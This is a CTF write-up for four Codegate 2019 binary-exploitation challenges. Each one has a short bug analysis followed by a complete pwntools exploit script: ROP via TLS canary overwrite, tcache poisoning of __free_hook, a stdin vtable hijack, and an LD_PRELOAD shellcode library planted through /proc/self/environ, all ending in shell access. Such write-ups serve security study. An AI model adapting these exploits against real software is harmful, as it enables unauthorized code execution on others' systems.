# Codegate CTF 2019 Preliminary ###### tags: `2019 pwn challenge` ## aeiou ### Reversing - play_with_card() - nth_card = malloc(0x18) - nth_card_used = 1 - if all cards are used - *(int64 *)first_card_addr = second_card_addr - *(int128 *)second_card_addr = third_card_addr + first_card_addr - *(int64 *)(third_card_addr+8) = second_card_addr > It seems that three cards are in a non-circular double linked list ```cpp= struct card{ card* next card* prev } first_card->next = second_card first_card->prev = NULL second_card->next = third_card second_card->prev = first_card third_card->next = NULL third_card->prev = second_card ``` - delete_card() - if nth_card_used == 1: - next_card->prev = current_card->prev - prev_card->next = current_card->next > unlink the removed card - teach_numbers() - creates a pthread and does the follow - read <= 0x10000 bytes into a 0x1000 bytes local buffer(**buffer overflow**) - sleep() - sleeps random seconds - give_baby_blocks() ### Exploitation After reading all that, I found that the way to exploit it was just a simple ROP. Because the program puts the TLS of the thread near to top of the thread's stack(which is mmaped) By having the privilege to overflow the buffer with about 0x9000 bytes, I could just overflow the stack canary in the TLS, so it simple becomes a ROP attack. ROP: - leak libc via puts.plt - read one_gadget to bss section using ret-2-csu + read() - we cannot use scanf or any buffered IO since the TLS is damaged when we overwrote it, it would cause segfault. - stack pivot to bss section - trigger one_gadget ```python= from pwn import * context.terminal = ['tmux','splitw','-h'] p = process('./aeiou_tmp') elf = ELF('./aeiou_tmp') libc=ELF('/glibc/x64/2.23/lib/libc-2.23.so') main_addr = 0x4024FA routine_addr = 0x4013AA pop_rdi = 0x04026f3 pop_rsi_p = 0x004026f1 def debug(bps=[]): cmd = '' cmd += ''.join(['b *{:#x}\n'.format(b) for b in bps]) cmd += 'c' gdb.attach(p, cmd) pause() def teach(length, content): p.recvuntil('>>') p.sendline(str(3)) p.recvuntil('!\n') p.sendline(str(length)) p.send(content) def build_csu(addr, arg1, arg2, arg3): p = p64(0x4026EA) p += p64(0) # rbx p += p64(1) # rbp p += p64(addr) # dst p += p64(arg3) p += p64(arg2) p += p64(arg1) p += p64(0x4026D0) p += 'A'*(8*2) p += p64(0x604038) # rbp p += 'A'*(8*4) return p #debug([0x00401534, 0x004013AA, 0x4026D0]) ret_addr = 0x401507 bss = 0x604038 read_in = build_csu(elf.got['read'], 0, bss+0x8, 0x8) l_r = 0x0400d70 # leave, ret rop = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + read_in + p64(l_r) payload = ('A'*0x1010 + p64(bss) + rop).ljust(0x17e8, '\x00') + 'A'*8 teach(0x17e8+8, payload) p.recvuntil(':)\n') libc_base = u64(p.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts'] log.info(hex(libc_base)) shot = libc_base + 0xda7c2 p.send(p64(shot)) p.interactive() ``` ## god-the-reum Simple Tcache posioning using `withdraw()` function and overwrite __free_hook ```python from pwn import * p = process('./god-the-reum', env={'LD_PRELOAD':'./libc-2.27.so'}) libc = ELF('./libc-2.27.so') def create(length): p.recvuntil(': ') p.sendline(str(1)) p.recvuntil(': ') p.sendline(str(length)) def withdraw(idx, amount): p.recvuntil(': ') p.sendline(str(3)) p.recvuntil(': ') p.sendline(str(idx)) p.recvuntil(': ') p.sendline(str(amount)) def show(): p.recvuntil(': ') p.sendline(str(4)) def deposit(idx, amount): p.recvuntil(': ') p.sendline(str(2)) p.recvuntil(': ') p.sendline(str(idx)) p.recvuntil(': ') p.sendline(str(amount)) create(0x500) #0 create(0x68) #1 withdraw(0, 0x500) show() leak = p.recvline_startswith('0)') libc_base = int(leak[leak.find('ballance ')+9:])-0x3ebca0 log.info(hex(libc_base)) malloc_hook = libc_base + libc.sym['__free_hook'] log.info(hex(malloc_hook)) # tcache poisoning withdraw(1, 0x68) withdraw(1, -malloc_hook) create(0x68) #2 create(0x68) #3 ''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' shot = libc_base + 0x4f322 log.info('shot : '+ hex(shot)) withdraw(3, 0x69) withdraw(3, -(shot+1)) withdraw(2, 0x68) p.interactive() ``` ## Maris_shop Haven't done _IO_FILE pwn challenges for a while..., need to get used to it again. There's a bug in the `buy_all` function, which misses to set the last entry to NULL, therefore leading to a libc leak. We can use unsorted bin attack to overwrite stdin->buf_end, and then use fgets to overwrite stdin->vtable leading to one_gadget. ```python= from pwn import * #context.log_level = 'DEBUG' p = process('./Maris_shop') libc = ELF('/glibc/x64/2.23/lib/libc-2.23.so') cart = [] def add_cart(item_to_buy='', amount=0): p.recvuntil(':') p.sendline(str(1)) shop = [] for i in range(1, 7): item = p.recvline_startswith(str(i)+'.')[3:-1] item = item[:item.find('-')].strip() shop.append(item) p.recvuntil(':') if item_to_buy == '': # if just wanting to fill the cart for i, item in enumerate(shop): if item not in cart: cart.append(item) p.sendline(str(i+1)) p.recvuntil('Amount?:') p.sendline(str(0)) return item # if all items are in the cart, send an invalid index p.sendline(str(7)) else: if item_to_buy in shop: p.sendline(str(shop.index(item_to_buy)+1)) p.recvuntil(':') p.sendline(str(amount)) return True else: p.sendline(str(7)) return False def remove_one(idx): p.recvuntil(':') p.sendline(str(2)) p.recvuntil(':') p.sendline(str(idx)) def buy(buy_all, clear): p.recvuntil(':') p.sendline(str(4)) p.recvuntil(':') if buy_all == True: p.sendline(str(2)) p.recvuntil(':') if clear == True: p.sendline(str(1)) else: p.sendline(str(2)) def buy_one(idx): p.recvuntil(':') p.sendline(str(4)) p.recvuntil(':') p.sendline(str(1)) p.recvuntil(':') p.sendline(str(idx)) def buy_all_clear(): buy(True, True) def show_one(idx): p.recvuntil(':') p.sendline(str(3)) p.recvuntil(':') p.sendline(str(1)) p.recvuntil(':') p.sendline(str(idx)) # Exploit for i in range(16): add_cart() remove_one(1) add_cart() buy_one(0) add_cart() buy_all_clear() show_one(15) offset = 0x19cb78 name = p.recvline_startswith('Name').split(' ',1)[1] current_amount = int(p.recvline_startswith('Amount').split(' ')[1]) libc_base = current_amount-offset log.info('libc base : ' + hex(libc_base)) log.info('index 15 item : ' + name) stdin = libc_base + libc.sym['_IO_2_1_stdin_'] log.info('stdin : ' + hex(stdin)) while True: if add_cart(name, stdin+0x30-current_amount)==True: break add_cart() ''' 0x4368e execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x436e2 execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xda7c2 execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL ''' rce = libc_base + 0x4368e log.info(hex(rce)) payload = '\x00'*5 + p64(libc_base + libc.sym['_IO_stdfile_1_lock']) + '\xff'*8 + p64(0) + p64(libc_base+libc.sym['_IO_wide_data_0']) +p64(0)*3 + '\xff'*4 + p32(0) + p64(0)*2 + p64(stdin+0xe0) + p64(0)*2 + p64(rce)*10 pause() p.send(payload) p.interactive() ``` ## cg_casino ### Analysis There is a buffer overflow vulnerbility when inputting voucher and old voucher. You could read contents from the old voucher and write 0x1000 bytes to the new voucher. The container is configured such that you can't read from /proc/self/fd/0 and upload abritrary files. Also, you can't just write to /proc/self/fd/1 to leak informations. ### Exploitation To be honest, I had no idea how to approch this challenge. I referenced a few writeups ([1](https://github.com/yuawn/CTF/tree/master/2019/codegate/cg_casino), [2](https://3ffr3s.github.io/2020-01-01-cg_cagino/), [3](https://pwn3r.tistory.com/entry/CODEGATE-2019-QUAL-cgcasino)), and I'll try to explain my take on this challenge with my own words. #### LD_PRELOAD trick In the slot machine game, the program will call `system("/usr/bin/clear")`, if we can somehow modify the environment variables with `LD_PRELOAD=/get/shell/library`, such that the library hooks one of the functions that /usr/bin/clear calls, then we could get shell #### /proc/self/environ The /proc/self/environ points to a memory area that stores all environment variables, if we modify that meomory area, this file will also change. There is also a envp array that stores pointers to each corresponding environment variables, the child process will inherit environment variables from here. We can utilize the bof vulnerbility to modify the environ area to an ELF file and use `merge_voucher` to upload an library. We will also modify the envp array during this process to the string "LD_PRELOAD=xxx.so" #### Info leak The offset between the voucher buffer and envp is fixed, but the offset between the envp and the environ is arbitrary. The offset between the stack top and the start of the environ area is fixed > in the environ area, the content fills all the way to stack top In the lotto function, it uses `scanf("%u")` to take our guess value, it we enter a value like 'A', then the input would not be taken and the test which tests whether the number is <= 0x2c would be performed on a uninitialized variable, if a stack address locates in that memory, then we could leak it by the out_of_range message. > we could have to call put_voucher first to get a stack address there #### Building the library The library cannot be too big because if the size exceeds the original environ file, we would get a segfault after the content overwrites pass the stack's top. we can use `gcc -s -nostdlib -Wl, -z, norelro -shared -fPIC -o hook.so hook.c` to build the library that is small enough and the library code looks like this ```clike= #include <sys/syscall.h> void __libc_start_main(){ execve("/bin/sh", 0, 0); } void execve(char *path, char **argv, char **envp){ asm volatile ("syscall" :: "a"(SYS_execve)); } ``` #### final script ```python from pwn import * #context.log_level = 'DEBUG' context.terminal = ['tmux','splitw','-h'] p = remote('localhost', 6677) #p = process('./cg_casino') def debug(bps=[]): cmd = '' cmd += ''.join(['b *{:#x}\n'.format(b) for b in bps]) cmd += 'c' gdb.attach(pidof('cg_casino')[0], cmd, exe='./cg_casino') #gdb.attach(p, cmd) pause() def put_voucher(name): p.recvuntil('> ') p.sendline(str(1)) p.recvuntil(': ') p.sendline(name) def merge_voucher(name): p.recvuntil('> ') p.sendline(str(2)) p.recvuntil(': ') p.sendline(name) def lotto(): # leak stack addr p.recvuntil('> ') p.sendline(str(3)) p.sendline('1') p.sendline('2') p.sendline('A') leak = p.recvline_contains('out of range') stack_leak_lower = int(leak.split(' ')[0]) p.sendline(str(3)) p.sendline('B') leak = p.recvline_contains('out of range') stack_leak_upper = int(leak.split(' ')[0]) p.sendline(str(0)) p.sendline(str(0)) p.sendline(str(0)) stack_leak = (stack_leak_upper<<32) + stack_leak_lower log.info(hex(stack_leak)) return stack_leak #debug([0x401110]) #debug() put_voucher('kang') stack_leak = lotto() buf = stack_leak+0x40 # new voucher (write to) log.info('buf : ' + hex(buf)) hook = open('./testhook.so').read() hook = hook.replace('\n','\x0d') filename = '/home/cg_casino/voucher/hook.so' # finding stack top and env start stack_top = (buf & 0xfffffffffffff000) + 0x1000*2 env_start = stack_top-0xd8a log.info('stack top : '+hex(stack_top)) log.info('env start : '+hex(env_start)) # bof payload = ((filename.ljust(0x80,'\x00') + 'LD_PRELOAD={}\x00'.format(filename)).ljust(0x158,'\x00') + p64(buf+0x80)).ljust(env_start-buf, '\x00') + hook put_voucher(payload) merge_voucher('/proc/self/'.ljust(32-len('environ'),'/') + 'environ') p.recvuntil('> ') p.sendline(str(5)) p.interactive() ```